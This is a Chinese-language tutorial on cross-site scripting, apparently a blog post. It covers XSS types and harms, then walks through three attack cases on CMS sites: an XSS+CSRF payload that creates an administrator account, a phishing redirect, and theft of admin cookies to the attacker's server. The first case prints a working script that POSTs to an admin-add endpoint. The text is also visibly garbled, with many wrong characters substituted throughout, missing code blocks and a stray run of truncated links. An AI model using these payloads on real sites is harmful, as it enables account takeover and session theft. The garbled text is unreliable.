XSS 注入破绽又称为 ” 跨站脚本攻打 (Cross Site Scripting)”,为了不和层叠样式表(Cascading Style Sheets,CSS) 混同,所以将跨站脚本攻打缩写为 XSS。XSS 注入攻打的原理其实和 SQL 注入攻打的原理很类似,攻击者将歹意的 Script 代码插入到网页中,当失常用户浏览该页面时,被嵌入的歹意 Script 代码就会被执行,从而达到歹意攻打失常用户的目标。
XSS 分类
跨站脚本注入破绽是因为 WEB 服务器读取了用户可控数据输入到 HTML 页面的过程中没有进行平安解决导致的,用户可控数据包含 url、参数、HTTP 头部字段(cookie、referer、HOST 等)、HTTP 申请注释等。
(1)反射型 XSS:攻击者输出可控数据到 HTML 页面中(通常是 url),所以输出的数据没有被存储,只能在单次申请中失效。
(2)存储型 XSS:攻击者输出可控数据到 HTML 页面(通常是 POST 表单:评论、留言板、登录框等),所以输出的数据会被存储到数据库中,因为数据通过存储,能够继续被读取进去,攻打的次数比反射型 XSS 多。
(3)DOM-XSS:攻击者可控数据通过 JavaScript 和 DOM 技术输入到 HTML 中,其实是一种非凡类型的反射型 XSS,基于 DOM 文档对象模型的一种破绽。
XSS 危害
(1)流量劫持,利用木马批改浏览器不停的弹出新的窗口强制性的让用户拜访指定的网站,为指定网站减少流量
(2)获取用户 cookie 信息,盗取账号(普通用户、管理员等账号)
(3)篡改、删除页面信息(钓鱼操作)
(4)配合 CSRF 攻打,施行进一步的攻打,管制被害人的电脑拜访其余网站
JavaScript 代码
JavaScript 代码是客户端脚本语言,是浏览器的一部分,用来给 HTML 网页减少动静性能。
为什么要说一下 JavaScript 代码呢,在 XSS 注入攻打中所利用的 Script 代码就是它的一个标签,
所以简略介绍一下其中咱们能够利用的语法和标签。
办法;罕用来网页向文档中输入内容。
办法;弹出一个窗口。
办法;用于网页的跳转。
办法;罕用于获取网页的 cookie。
XSS 破绽利用
接下来理解了 XSS 注入攻打的原理以及利用的代码后,就能够尝试去验证网站是否存在 XSS 注入破绽
案例一:利用 XSS+CSRF 减少网站管理员
该网站因为在对管理员帐号编辑的中央,进行明码批改时没有进行 2 次校验或确认,存在 CSRF 破绽,应用 XSS 脚本对该 CSRF 破绽进行利用
通过注册新用户或者暴力破解等形式登入网站后盾,权限不为 admin,用于审计网站后盾构造。将 script 代码在留言板发送给管理员,管理员查看留言板之后服务器会跳转界面执行指令
代码局部为
<script>function loadXMLDoc()
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open(“POST”,”http://10.10.10.135:81/510cms/admin/adminadd.php?admin=add”,true);
xmlhttp.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”);
xmlhttp.send(“name=su&passwd=12345&remark= test&mid=2&adminsubmit=%CC%E1%BD%BB”);
}
loadXMLDoc();
</script>
xmlhttp.open(关上治理后盾减少管理员的 url)
xmlhttp.send(而后传递 value 参数进去,减少 passwd 和 name 的值)
复制代码
\
管理员界面显示成果如下,减少的留言内容被存储到数据库,并且当管理员查看留言板时攻打失效
尝试利用新的管理员账号密码(su/12345)登入后台,下图为增加胜利的 su 管理员
案例二:CMS 治理后盾伪造钓鱼网站
通过开发者工具查看源代码,发现 name=“username”,阐明是以双引号闭合为标签,并且在该网页有“遗记明码”模块。
输出 ”><“ 后呈现弹窗,阐明存在 XSS 注入破绽
XSS 注入攻打原理:网页用户名 post 表单源码参数为 name=“username”,咱们须要结构一个闭合标签 ”><“,让代码可能实现。
点击遗记明码模块进入 wjmm.php,咱们将结构一个 XSS 注入攻打,让失常用户拜访该页面的时候跳转到咱们伪造的遗记明码页面,批改管理员的联系电话。
首先咱们要本人编译一个 wjmm.php 网页,将其放在咱们的服务器下面,代码如下
在管理系统的登入界面输出 123″/><a,即可进行 XSS 破绽注入; 网页跳转到新的 url 界面。
点击遗记明码模块,跳转到本机服务器页面,并且管理员联系电话已被批改,能够做流量劫持,或做为一个钓鱼网站。
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
https://zhuanlan.zhihu.com/p/…
案例三:网页留言板获取 cookie
在一个文章管理系统的留言板,存在存储型 XSS 注入破绽,当管理员关上留言板信息查看的时候,触发其中的 XSS 代码,攻击者获取管理员 cookie 信息,能够用来做固定 session 会话攻打登陆后盾。
文件管理系统的留言板下输出 script 的代码信息,当管理员查看留言板信息的时候将造成 cookie 的获取
JavaScript 代码
其中的 var url 为本机服务器的 ip,拜访该 url 后,记录 cookie 信息,而后通过 post 申请传送 cookie 信息,cookie1.php 为本机创立的 php 文件,用来记录 cookie 信息。
cookie1.php 代码, 用于接管传进来的 $_POST[‘cookie’]值,而后将其记录保留在 cookie.txt 文件夹中
当管理员登录后,关上留言板模块,跳出弹窗获取 username,userid,phpsessid 信息
查看 cookie.txt 文件,document.cookie 保留的 cookie 信息将存入该文本中
有了管理员的各种 session 值之后,能够通过插件 cookie manager 增加新的 cookie 等信息,在没有账号密码的状况下登录管理员界面。